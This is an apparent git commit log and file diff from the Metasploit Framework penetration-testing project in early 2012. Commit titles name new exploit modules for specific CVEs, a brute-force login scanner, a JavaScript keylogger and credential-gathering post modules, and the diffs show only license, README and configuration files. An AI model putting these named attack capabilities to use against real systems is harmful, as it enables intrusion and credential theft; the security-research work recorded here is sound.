1.8 doesn't maintain insertion order for Hash keys like 1.9 does so we
end up with ~random order for the display with the previous technique.
Switch to an Array instead of a Hash so it's always the same.
2012-02-28 08:27:22 -07:00
James Lee ed3700b5da Fix a few more compiler warnings 2012-02-28 08:23:35 -07:00
James Lee 98157475af Fix a type-safety warning 2012-02-28 08:17:39 -07:00
James Lee e69c8ca422 LHOST should be OptAddress, not OptAddressRange 2012-02-28 08:16:06 -07:00
James Lee ae37f74864 Fix a couple of warnings and a typo 2012-02-28 08:16:06 -07:00
Gregory Man bf07a6a027 Added auxiliary/scanner/mongodb/mongodb_login module
MongoDB login utility + brute force attack
2012-02-28 16:06:30 +02:00
HD Moore d0bf833942 Fix ctype vs content_type typo 2012-02-27 11:54:29 -06:00
sinn3r 58dfe32b0a Merge branch 'aspx-msfvenom' of https://github.com/mandreko/metasploit-framework into mandreko-aspx-msfvenom 2012-02-26 18:40:30 -06:00
sinn3r da01f4c872 Merge branch 'meterpreter-enum_firefox-fix' of https://github.com/gregory-m/metasploit-framework into gregory-m-meterpreter-enum_firefox-fix 2012-02-26 15:56:03 -06:00
sinn3r 2f201cdf78 Merge pull request #198 from jduck/master
Fixes #6308
2012-02-26 11:52:47 -08:00
sinn3r 4447da4c79 Merge pull request #200 from swtornio/master
add osvdb ref
2012-02-26 11:52:10 -08:00
Joshua J. Drake 3ff5c91c24 Merge branch 'master' of github.com:rapid7/metasploit-framework 2012-02-26 09:53:04 -06:00
Gregory Man 93117e9b8a Fixed scripts/meterpreter/enum_firefox to work with firefox > 3.6.x 2012-02-26 15:38:33 +02:00
Steve Tornio ef4cdb516d add osvdb ref 2012-02-26 07:13:13 -06:00
HD Moore 139136e033 Fix a handful of typos in the regex/parsing code 2012-02-26 02:10:06 -06:00
sinn3r debbba9623 Add OSVDB-55938: D-Link DAP1353 Default Password for SSH admin 2012-02-26 01:20:16 -06:00
sinn3r 91f56b0fd5 Add default password for CVE-2009-3710 2012-02-26 01:18:08 -06:00
Matt Andreko 85645a81c1 Added aspx target to msfvenom. This in turn added it to msfencode as well.
Ref: https://github.com/rapid7/metasploit-framework/pull/188
Tested on winxp with IIS in .net 1.1 and 2.0 modes
2012-02-25 18:02:56 -05:00
Joshua J. Drake 65ed4bfa8b Fixes #6308: Fall back to 127.0.0.1 when SocketError is raised from the resolver 2012-02-25 13:00:48 -06:00
James Lee eccd62717e Binaries for new netlink code
Includes a Windows dll to add support for route metrics.
2012-02-24 16:42:13 -07:00
James Lee a80056e6e5 Get rid of an unnecessary sleep() 2012-02-24 16:42:12 -07:00
James Lee 2b8d16203a Refactor Interfac#pretty to be more rubyish 2012-02-24 16:42:12 -07:00
MM f83a7f14ac Switch to netlink for listing interfaces
* Adds support for listing IPv6 addresses on POSIX meterpreter
* Ensures crash logs are only created if debugging is enabled
* Fixes a bug in sniffer where a lock was not acquired correctly

Squashed commit of the following:

commit 955124b264a675c7d67187703bf23b58f0aba6d8
Author: MM <gaspmat@gmail.com>
Date:   Thu Feb 23 23:42:26 2012 +0100

    posix meterpreter - IPv6 support for route and ipconfig using netlink sockets

[Closes #196]
2012-02-24 16:42:12 -07:00
sinn3r 91a7a44f02 Merge branch 'gather-firefox_creds-osx-fix' of https://github.com/gregory-m/metasploit-framework into gregory-m-gather-firefox_creds-osx-fix 2012-02-24 16:03:42 -06:00
Tod Beardsley cf0fd2bc93 Version bump to 4.3.0-dev
Closed or moved all the remaining 4.2 bugs, so
now we're in 4.3.0-dev. 4.2.0-release (and really
any -release) is intentionally very short-lived.
2012-02-24 15:06:24 -06:00
sinn3r 7281a0ebdd Add CVE-2011-0923: HP Data Protector CMD_EXEC module (submitted by wireghoul) 2012-02-24 12:06:47 -06:00
Gregory Man 8a158c3a00 Added OSX support to post/multi/gather/firefox_creds
Tested on OSX 10.7.3 and FF 9.0.1
2012-02-24 16:44:42 +02:00
sinn3r bc2e12f7b5 Merge branch 'master' of github.com:rapid7/metasploit-framework 2012-02-23 17:34:10 -06:00
sinn3r 339fb8d266 eh, I mean Win2k3 SP0 to SP1 2012-02-23 17:33:49 -06:00
James Lee a81868b6b3 Fix a nil comparison bug
I swear there was a ticket for this but now I can't find it.
2012-02-23 16:30:29 -07:00
David Maloney cb9cc1a69e Merge branch 'master' of github.com:rapid7/metasploit-framework 2012-02-23 17:22:55 -06:00
David Maloney a6b10862bd Adds a lantronix telnet discovery module 2012-02-23 17:22:32 -06:00
James Lee f7e60cefed Add a fingerprint for pg on ubuntu 8.04.2 2012-02-23 16:11:52 -07:00
James Lee db4bb0e537 Clean up comments for rdoc
Fixes some ugly formatting
2012-02-23 15:32:05 -07:00
James Lee 9ddca81ab5 Fix test that always evals to false
Meterpreter does not respond_to? extension names, they're magic.
2012-02-23 14:52:48 -07:00
Joshua J. Drake e262d7a7ff Add CVE-2012-0500 Sun Java Web Start exploit 2012-02-23 13:30:45 -06:00
sinn3r 5f2569f1b4 Merge pull request #195 from swtornio/master
add osvdb ref
2012-02-23 07:55:13 -08:00
Steve Tornio 08fb03276f add osvdb ref 2012-02-23 07:39:31 -06:00
sinn3r c392287764 Merge branch 'master' of github.com:rapid7/metasploit-framework 2012-02-22 23:00:09 -06:00
sinn3r 144fa0dc0e Comment what \x0b\x04 is for 2012-02-22 22:59:43 -06:00
James Lee 0ef8d8bb3a Ensure the dir exists before copying files there
Thanks MM for pointing out that this was missed.  The other dirs
referenced in #183 were addressed in 134b6c874f

[Closes #183]
2012-02-22 20:54:20 -07:00
sinn3r 92c801d936 Merge branch 'ssh-creds-fix' of https://github.com/gregory-m/metasploit-framework into gregory-m-ssh-creds-fix 2012-02-22 19:49:26 -06:00
sinn3r 291e083d65 Add CVE-2011-5001: TrendMicro Control Manager 5.5 CmdProcessor Stack Bof 2012-02-22 19:44:47 -06:00
sinn3r 5e0862bf9b Merge branch 'juanvazquez-CVE-2008-1602_orbit_download_failed_bof' 2012-02-22 19:41:17 -06:00
sinn3r 4ee1f989a6 Merge branch 'CVE-2008-1602_orbit_download_failed_bof' of https://github.com/juanvazquez/metasploit-framework 2012-02-22 19:40:56 -06:00
sinn3r 752fd66ca3 Merge branch 'CVE-2008-1602_orbit_download_failed_bof' of https://github.com/juanvazquez/metasploit-framework into juanvazquez-CVE-2008-1602_orbit_download_failed_bof 2012-02-22 16:05:08 -06:00
HD Moore 8d212849dc Fix typos that result in stack traces when matching the response codes 2012-02-22 16:04:24 -06:00
Gregory Man ace28a8388 1.9 compatibility fix
Strings in ruby 1.9 doesn't have #each method
2012-02-22 18:01:17 +02:00
Gregory Man 66fa56cc49 Fixed post/multi/gather/ssh_creds to work with shell session 2012-02-22 15:16:11 +02:00
HD Moore 3fecda95be Fix 1.8 compatibility issue 2012-02-22 02:05:44 -06:00
James Lee 5e6c40edfd Remove unnecessary space restrictions.
This allows using the full range of PHP payloads
2012-02-21 23:21:07 -07:00
James Lee 464cf7f65f Normalize service names
Downcases lots and standardizes a few.  Notably, modules that reported a
service name of "TNS" are now "oracle".  Modules that report http
now check for SSL and report https instead.

[Fixes #6437]
2012-02-21 22:59:20 -07:00
James Lee 7ca573a1b4 Give these two old modules a chance to work by setting a proper arch
These must have been broken for quite some time.  =/  They should
probably both be ARCH_PHP but I'm reluctant to make that big of a change
without having the target software to test.
2012-02-21 22:59:20 -07:00
James Lee 72038df7b5 Allow :sname as a synonym for :name when reporting services 2012-02-21 22:59:20 -07:00
HD Moore 4932a9ca25 Dont dump an HTML document to the console 2012-02-21 23:45:25 -06:00
HD Moore a1826146ef Permission changes, ignorable 2012-02-21 22:59:45 -06:00
David Maloney d3fad51f3a Fix my screwup in winscp for servicename 2012-02-21 20:31:52 -06:00
David Maloney dcf3f3579d Fix to the awful sname in this module 2012-02-21 20:28:27 -06:00
James Lee 02d6089893 Fix a stack trace when an unexpected response from the server
Caused by a typo
2012-02-21 18:57:27 -07:00
Tod Beardsley b87d9a3a80 Version bump. 2012-02-21 17:54:23 -06:00
HD Moore acb4446e45 Fix #6407 by treating redirects as successful authentication 2012-02-21 16:02:21 -06:00
juan d6310829ea Added module for CVE-2008-1602 2012-02-21 22:36:57 +01:00
Tod Beardsley 309b7750f6 Renaming port_cleaner resource script to be correct
was .rb should be .rc
2012-02-21 12:36:25 -06:00
sinn3r a288742376 Merge branch 'master' of github.com:rapid7/metasploit-framework 2012-02-21 11:50:05 -06:00
sinn3r 28dbaee5ab Do a strip() before regex check 2012-02-21 11:46:52 -06:00
Tod Beardsley b65d448a15 Merge pull request #189 from rsmudge/armitage
Armitage 02.21.12
2012-02-21 09:11:35 -08:00
James Lee 0e375fc555 Remove superfluous db_driver command now that only pg is supported 2012-02-21 10:10:42 -07:00
James Lee 3857bef9f6 Adds help and tabs for commands in meterpreter core 2012-02-21 10:10:42 -07:00
Tod Beardsley 4a631e463c Module title normalization
Module titles should read like titles. For
capitalization rules in English, see:
http://owl.english.purdue.edu/owl/resource/592/01/

The only exceptions are function names (like 'thisFunc()') and specific
filenames (like thisfile.ocx).
2012-02-21 11:07:44 -06:00
Raphael Mudge de71a77085 Armitage 02.24.12
--------
This release fixes the parsing of meterpreter's ps output. Added cut/copy/paste
menus to the module launcher dialog (when editing values).
2012-02-21 11:50:23 -05:00
HD Moore bce1c08623 Update modules/auxiliary/server/capture/http_javascript_keylogger.rb 2012-02-21 04:46:56 -06:00
HD Moore 7c1d48d6aa Merge in MJC's javascript keylogger 2012-02-21 04:25:15 -06:00
sinn3r 1d71aec916 Fix DisclosureDate regex, and avoid checking Rank naming style 2012-02-21 01:04:05 -06:00
HD Moore ceb4888772 Fix up the boilerplate comment to use a better url 2012-02-20 19:40:50 -06:00
HD Moore ab92e38628 Small cosmetic change to module descriptions 2012-02-20 19:29:51 -06:00
HD Moore af56807668 Cleanup the titles of many exploit modules 2012-02-20 19:25:55 -06:00
sinn3r bb55b4e54f Merge branch 'master' of github.com:rapid7/metasploit-framework 2012-02-20 14:22:23 -06:00
sinn3r f09ce04b00 Show where store_loot() saves the info 2012-02-20 14:22:05 -06:00
James Lee 89e0842b1e Add vim_soap to the mixins list.
Fixes an issue where a different module load order would result in one
of the vmware modules failing to load be cause vim_soap hadn't been
required yet. Thanks d0rm0us3 for having a weird system and spotting
stuff like this.
2012-02-20 13:17:45 -07:00
sinn3r cda9166180 This module should show where store_loot() saves the results 2012-02-20 14:15:55 -06:00
sinn3r 779e3cdcda Correct more post modules for naming style consistency 2012-02-20 13:49:23 -06:00
sinn3r fd283dd95b Correct naming style 2012-02-20 12:38:43 -06:00
sinn3r 3180d75168 Correct naming style 2012-02-20 12:38:31 -06:00
sinn3r 22e40d9da4 Change naming style for consistency 2012-02-20 12:35:53 -06:00
sinn3r 300558e009 Correct post module naming style 2012-02-20 12:34:35 -06:00
sinn3r a8d56afda6 Use store_loot() to save data to local disk 2012-02-20 01:30:11 -06:00
Matt Buck fccb338e29 Merge branch 'master' of github-r7:rapid7/metasploit-framework 2012-02-19 23:01:14 -06:00
Matt Buck e0a75c1b2c Merge branch 'release/4.2-stable'
Conflicts:
	lib/msf/core/model/host.rb
2012-02-19 22:57:22 -06:00
sinn3r ea698864bd Add aux module to disclose IIS internal IP (Feature #6405) 2012-02-19 22:44:30 -06:00
sinn3r 95fa97cbd7 This module should be using store_loot() to save downloaded data 2012-02-19 20:48:00 -06:00
sinn3r 6037a2fc7a Correct type and name for store_loot 2012-02-19 20:20:44 -06:00
HD Moore f92ddb2475 Revert "Cleanup to the module output for vmware_http_login.rb"
This reverts commit 08d91aebdb.
2012-02-19 18:55:49 -06:00
HD Moore a25475fac0 Revert "Add a new vmauthd_version scanner (also pulls in the SSL cert if"
This reverts commit c4ea27d32b.
2012-02-19 18:53:03 -06:00
HD Moore d761265b93 Revert "Cosmetic cleanup to the module output for vmauthd_login"
This reverts commit 87e7bf4934.
2012-02-19 18:52:39 -06:00
HD Moore c4ea27d32b Add a new vmauthd_version scanner (also pulls in the SSL cert if
available)
2012-02-19 18:28:06 -06:00
HD Moore 87e7bf4934 Cosmetic cleanup to the module output for vmauthd_login 2012-02-19 18:16:54 -06:00
HD Moore 08d91aebdb Cleanup to the module output for vmware_http_login.rb 2012-02-19 18:16:05 -06:00
sinn3r 825ea01f79 Correct report_web_vuln 2012-02-19 16:37:42 -06:00
sinn3r 199e9c518b Add Generic HTTP Directory Traversal Utility (Feature #6338) 2012-02-19 00:30:18 -06:00
sinn3r ce356402d0 Avoid checking var naming style if it's a JavaScript variable 2012-02-18 17:58:36 -06:00
sinn3r 42cf21acfe Merge branch 'master' of github.com:rapid7/metasploit-framework 2012-02-18 17:29:47 -06:00
sinn3r ea5594316f Add feature to check function/variable naming style 2012-02-18 17:29:14 -06:00
HD Moore 0023b46009 permission tweak 2012-02-18 14:39:52 -06:00
James Lee c39f14591f No need for pcap in stdapi anymore
Pcap used to be required for the ipconfig command but since the fix
for #6328, it is no longer necessary.

[See #6328]
2012-02-18 12:46:13 -07:00
James Lee 134b6c874f Ensure output paths exist for compiled object files
Fixes build on clean checkout
2012-02-18 11:42:27 -07:00
James Lee a0bbbb0b7d Compile pcap without libnl since bionic doesn't have headers
Fixes build on systems that have libnl installed.
2012-02-18 11:41:09 -07:00
sinn3r ef2c261ce9 Change print() to print_line() 2012-02-18 00:22:02 -06:00
sinn3r 1f34c1ffd2 Correct print() and sleep() to print_line and select() 2012-02-18 00:20:52 -06:00
sinn3r ebd5438984 Add POST to method 2012-02-17 22:36:33 -06:00
sinn3r bb5e4a1600 Modules don't need to register VERBOSE, because it's already there 2012-02-17 21:07:44 -06:00
sinn3r dc4bade78c Use OptEnum to validate delivery method 2012-02-17 21:03:05 -06:00
sinn3r 79ce43e3fe This condition should never trigger, because OptEnum should automatically take care of it 2012-02-17 19:16:07 -06:00
sinn3r e23f17cac2 Again, validate using OptEnum 2012-02-17 19:14:38 -06:00
sinn3r d58b8c7b69 Use OptEnum to validate enumeration method 2012-02-17 19:12:47 -06:00
sinn3r 3390bdf312 Validate METHOD with OptEnum 2012-02-17 18:54:53 -06:00
sinn3r 974aea3521 Validate 'METHOD' using OptEnum 2012-02-17 18:46:56 -06:00
sinn3r 36bc31d677 Damn, the indent level is nuts in this thing 2012-02-17 18:43:47 -06:00
sinn3r ec58b4669e This module only handles GET, so that's the only option we'll allow 2012-02-17 18:20:16 -06:00
sinn3r 9e17b09632 This module is only meant to handle GET and PUT, so let's be strict on that 2012-02-17 18:17:28 -06:00
sinn3r 7ae58bfd9d Make sure the HTTP method is always upper-case to make Apache happy 2012-02-17 18:15:23 -06:00
sinn3r 694de775b5 Merge pull request #186 from m-1-k-3/filefomat-generator
resource script for generating fileformat exploits
2012-02-17 15:50:06 -08:00
m-1-k-3 23d7bb0bf0 resource script for generating fileformat exploits 2012-02-17 11:44:31 +01:00
sinn3r ae57a8d9fd Make sure the HTTP method is always uppercase so we don't get a 501 2012-02-17 03:34:39 -06:00
sinn3r afe6bce1c6 More documentation on the file format 2012-02-16 21:58:12 -06:00
sinn3r 2a97e61457 Merge branch 'droplnk' of https://github.com/NoVAHA/metasploit-framework into NoVAHA-droplnk 2012-02-16 21:20:58 -06:00
sinn3r 5bb9afe789 Correct disclosure date format 2012-02-16 18:15:51 -06:00
sinn3r 5f95540d6a Merge pull request #181 from jduck/master
Adds an exploit for cve-2012-0209
2012-02-16 16:14:06 -08:00
sinn3r 7b95385f33 Merge pull request #182 from jduck/d2444e1cf64c62bd4d2bb3f62a40562ea7b72bd1
Fix a few typos
2012-02-16 16:13:18 -08:00
Joshua J. Drake 04ea10411c Merge branch 'master' of github.com:rapid7/metasploit-framework 2012-02-16 17:32:19 -06:00
Rob Fuller c38ad92ade Post module to upload shortcut (LNK) files with UNC path ICONs for post exploitation 2012-02-16 18:34:19 +00:00
Jenkins 078126547d Merge branch 'release/20120213000001' 2012-02-16 12:03:27 -06:00
Joshua J. Drake 01a6b02c3e Add exploit for CVE-2012-0209, thx eromang! 2012-02-16 03:10:55 -06:00
Joshua J. Drake d2444e1cf6 fix a few typos 2012-02-16 03:10:22 -06:00
sinn3r 3c3be4c809 Merge branch 'CVE-2010-0842_java_mixer_sequencer' of https://github.com/juanvazquez/metasploit-framework into juanvazquez-CVE-2010-0842_java_mixer_sequencer 2012-02-15 23:48:09 -06:00
sinn3r b8c2e2f45c Merge branch 'master' of github.com:rapid7/metasploit-framework 2012-02-15 23:47:24 -06:00
juan e69037959f Added CVE-2010-0842 2012-02-15 23:32:31 +01:00
James Lee 038893f72a Don't override the host's os_flavor, either
See commit:ca0d2d7bc21e100d5471551d9fb65cce39cc064c
2012-02-15 14:57:06 -07:00
James Lee 8e8188d752 Add the missing include that broke Windows build
I swear I committed this before...

[See #6372]
2012-02-15 11:51:00 -07:00
James Lee ca0d2d7bc2 Don't override the host's os_name with "Unknown"
This prevents modules that provide OS fingerprint details via
report_host from being overridden with inconclusive or missing OS
details from service fingerprints.
2012-02-15 10:17:26 -07:00
sinn3r 98326882b8 Merge branch 'master' of github.com:rapid7/metasploit-framework 2012-02-15 11:08:58 -06:00
Tod Beardsley 794ebe4908 Name caps and readability for new post modules 2012-02-14 16:21:51 -06:00
sinn3r b996b5a08e Merge branch 'm-1-k-3-resource-scripts' 2012-02-14 11:39:05 -06:00
sinn3r 94f76e4e3b Merge branch 'resource-scripts' of https://github.com/m-1-k-3/metasploit-framework into m-1-k-3-resource-scripts 2012-02-14 11:27:20 -06:00
Tod Beardsley 595e2735f2 Fixes Qualys asset importer to pull all refs
Makes the qualys asset importer behave like the qualys scan importer
when it comes to importing vuln references.
2012-02-14 11:08:07 -06:00
Maciej Kotowicz 01d6903c76 fix few mistakes 2012-01-31 22:01:52 +01:00
Maciej Kotowicz 87e7b10b2d advance linux x64 payloads 2012-01-26 01:09:35 +01:00
Maciej Kotowicz fe2caf2fe4 advance linux x64 payloads 2012-01-26 00:51:06 +01:00
Christopher McBee 100d8803f6 Adding armle bind shellcode based on existing reverse shellcode 2011-12-05 18:16:02 -05:00
10815 changed files with 1100826 additions and 56471 deletions
+7
View File
@@ -1,4 +1,11 @@
data/meterpreter/ext_server_pivot.dll
data/meterpreter/ext_server_pivot.x64.dll
external/source/meterpreter/java/bin
external/source/meterpreter/java/build
external/source/meterpreter/java/extensions
external/source/javapayload/bin
external/source/javapayload/build
tags
*.swp
*.orig
*.rej
-3
View File
@@ -1,3 +0,0 @@
[submodule "lib/msf3"]
path = lib/msf3
url = git@framework.github.com:rapid7/metasploit-framework.git
+53
View File
@@ -0,0 +1,53 @@
Copyright (C) 2006-2012, Rapid7 Inc.
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of Rapid7 LLC nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
================================================================================
The Metasploit Framework is provided under the 3-clause BSD license above.
The copyright on this package is held by Rapid7 LLC.
This license does not apply to the following components:
- The Bit-Struct library located under lib/bit-struct
- The OpenSSL library embedded into the Meterpreter payload binaries and the
corresponding header files in the source tree
- The Packet Sniffer SDK (MicroOLAP) library embedded into the Meterpreter
Sniffer extension. HD Moore has a single-seat developer license.
- The modified TightVNC binaries and their associated source code.
- The Byakugan plugin located under external/source/byakugan
- The Metasm library located under lib/metasm
- The PcapRub library located under external/pcaprub
- The Rabal library located under lib/rabal
- The PacketFu library located under lib/packetfu
- The Ruby-Lorcon library located under external/ruby-lorcon
- The SNMP library located under lib/snmp
- The Zip library located under lib/zip
- The SSHKey library located under lib/sshkey
Details for the above packages can be found in the THIRD-PARTY file.
Executable
+6
View File
@@ -0,0 +1,6 @@
source 'http://rubygems.org'
gem 'rails', '3.2.2'
gem 'metasploit_data_models', '0.0.2', :git => "git://github.com/rapid7/metasploit_data_models.git"
gem 'pg', '>=0.13'
gem 'msgpack'
gem 'nokogiri'
+2 -2
View File
@@ -31,7 +31,7 @@ interfaces other than msfconsole, such as msfrpc and msfgui, won't see
your output. You can use print_line to accomplish the same thing as
puts.
2. Don't read from from standard input, doing so will make your code
2. Don't read from standard input, doing so will make your code
lock up the entire module when called from other interfaces. If you
need user input, you can either register an option or expose an
interactve session type specific for the type of exploit.
@@ -112,7 +112,7 @@ Submitting Your Code
The process for submitting new modules via GitHub is documented here:
https://github.com/rapid7/metasploit-framework/wiki/Working-with-the-Framework-Repo
https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment
This describes the process of forking, editing, and generating a
pull request, and is the preferred method for bringing new modules
-70
View File
@@ -1,70 +0,0 @@
Copyright (C) 2006-2012, Rapid7 LLC
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of Rapid7 LLC nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
================================================================================
The Metasploit Framework is provided under the 3-clause BSD license above.
The copyright on this package is held by Rapid7 LLC.
This license does not apply to the following components:
- The Bit-Struct library located under lib/bit-struct
- The OpenSSL library embedded into the Meterpreter payload binaries and the
corresponding header files in the source tree
- The Packet Sniffer SDK (MicroOLAP) library embedded into the Meterpreter
Sniffer extension. HD Moore has a single-seat developer license.
- The modified TightVNC binaries and their associated source code.
- The Byakugan plugin located under external/source/byakugan
- The Metasm library located under lib/metasm
- The PcapRub library located under external/pcaprub
- The Rabal library located under lib/rabal
- The PacketFu library located under lib/packetfu
- The Ruby-Lorcon library located under external/ruby-lorcon
- The SNMP library located under lib/snmp
- The Zip library located under lib/zip
- The SSHKey library located under lib/sshkey
The latest version of this software is available from http://metasploit.com/
Bug tracking and development information can be found at:
https://dev.metasploit.com/redmine/projects/framework/
The public GitHub source repository can be found at:
https://github.com/rapid7/metasploit-framework
Questions and suggestions can be sent to:
msfdev[at]metasploit.com
The framework mailing list is the place to discuss features and ask for help.
To subscribe, visit the following web page:
https://mail.metasploit.com/mailman/listinfo/framework
The archives are available from:
https://mail.metasploit.com/pipermail/framework/
+54
View File
@@ -0,0 +1,54 @@
Metasploit
==
The Metasploit Framework is released under a BSD-style license. See
COPYING for more details.
The latest version of this software is available from http://metasploit.com/
Bug tracking and development information can be found at:
https://dev.metasploit.com/redmine/projects/framework/
The public GitHub source repository can be found at:
https://github.com/rapid7/metasploit-framework
Questions and suggestions can be sent to:
msfdev(at)metasploit.com
The framework mailing list is the place to discuss features and ask for help.
To subscribe, visit the following web page:
https://mail.metasploit.com/mailman/listinfo/framework
The mailing list archives are available from:
https://mail.metasploit.com/pipermail/framework/
Installing
--
Generally, you should use the installer which contains all dependencies
and will get you up and running with a few clicks. See the [Dev
Environment Setup][wiki-devenv] if you'd like to deal with dependencies
on your own.
Using Metasploit
--
Metasploit can do all sorts of things. The first thing you'll want to do
is start `msfconsole`, but after that, you'll probably be best served by
reading some of the great tutorials online:
* [Metasploit Unleashed][unleashed]
* [The official Metasploit wiki on Github][wiki-start]
Contributing
--
See the [Dev Environment Setup][wiki-devenv] guide on github which will
walk you through the whole process starting from installing all the
dependencies, to cloning the repository, and finally to submitting a
pull request.
[wiki-devenv]: https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment "Metasploit Development Environment Setup"
[wiki-start]: https://github.com/rapid7/metasploit-framework/wiki/ "Metasploit Wiki"
[wiki-usage]: https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit "Using Metasploit"
[unleashed]: http://www.offensive-security.com/metasploit-unleashed/ "Metasploit Unleashed"
+1083
View File
@@ -0,0 +1,1083 @@
This file lists bundled packages and their associated licensing terms.
- The Packet Sniffer SDK (MicroOLAP) library embedded into the Meterpreter
Sniffer extension. HD Moore has a single-seat developer license.
- The Rabal library located under lib/rabal
Ruby
====
- The Bit-Struct library located under lib/bit-struct.
Copyright (c) 2005-2009, Joel VanderWerf.
- The SNMP library located under lib/snmp.
Copyright (c) 2004 David R. Halliday
- The Zip library located under lib/zip.
Copyright (C) 2002-2004 Thomas Sondergaard
- Gem components located under lib/gemcache/
* rdoc - RDoc is Copyright (c) 2001-2003 Dave Thomas, The Pragmatic Programmers.
Portions (c) 2007-2011 Eric Hodel. Portions copyright others, see individual
files for details.
* eventmachine - Copyright (C) 2006-07 by Francis Cianfrocca
* json - Copyright Daniel Luz <dev at mernen dot com>
* pg - Copyright (c) 1997-2012 by the authors
````
1. You may make and give away verbatim copies of the source form of the
software without restriction, provided that you duplicate all of the
original copyright notices and associated disclaimers.
2. You may modify your copy of the software in any way, provided that
you do at least ONE of the following:
a) place your modifications in the Public Domain or otherwise
make them Freely Available, such as by posting said
modifications to Usenet or an equivalent medium, or by allowing
the author to include your modifications in the software.
b) use the modified software only within your corporation or
organization.
c) rename any non-standard executables so the names do not conflict
with standard executables, which must also be provided.
d) make other distribution arrangements with the author.
3. You may distribute the software in object code or executable
form, provided that you do at least ONE of the following:
a) distribute the executables and library files of the software,
together with instructions (in the manual page or equivalent)
on where to get the original distribution.
b) accompany the distribution with the machine-readable source of
the software.
c) give non-standard executables non-standard names, with
instructions on where to get the original software distribution.
d) make other distribution arrangements with the author.
4. You may modify and include the part of the software into any other
software (possibly commercial). But some files in the distribution
are not written by the author, so that they are not under this terms.
They are gc.c(partly), utils.c(partly), regex.[ch], st.[ch] and some
files under the ./missing directory. See each file for the copying
condition.
5. The scripts and library files supplied as input to or produced as
output from the software do not automatically fall under the
copyright of the software, but belong to whomever generated them,
and may be sold commercially, and may be aggregated with this
software.
6. THIS SOFTWARE IS PROVIDED "AS IS" AND WITHOUT ANY EXPRESS OR
IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE.
````
PacketFu
========
- The PacketFu library located under lib/packetfu.
Copyright (c) 2008-2012, Tod Beardsley
````
Copyright (c) 2008-2012, Tod Beardsley
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* Neither the name of Tod Beardsley nor the
names of its contributors may be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY TOD BEARDSLEY ''AS IS'' AND ANY
EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL TOD BEARDSLEY BE LIABLE FOR ANY
DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
````
GPL
===
- The modified TightVNC binaries and their associated source code.
````
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
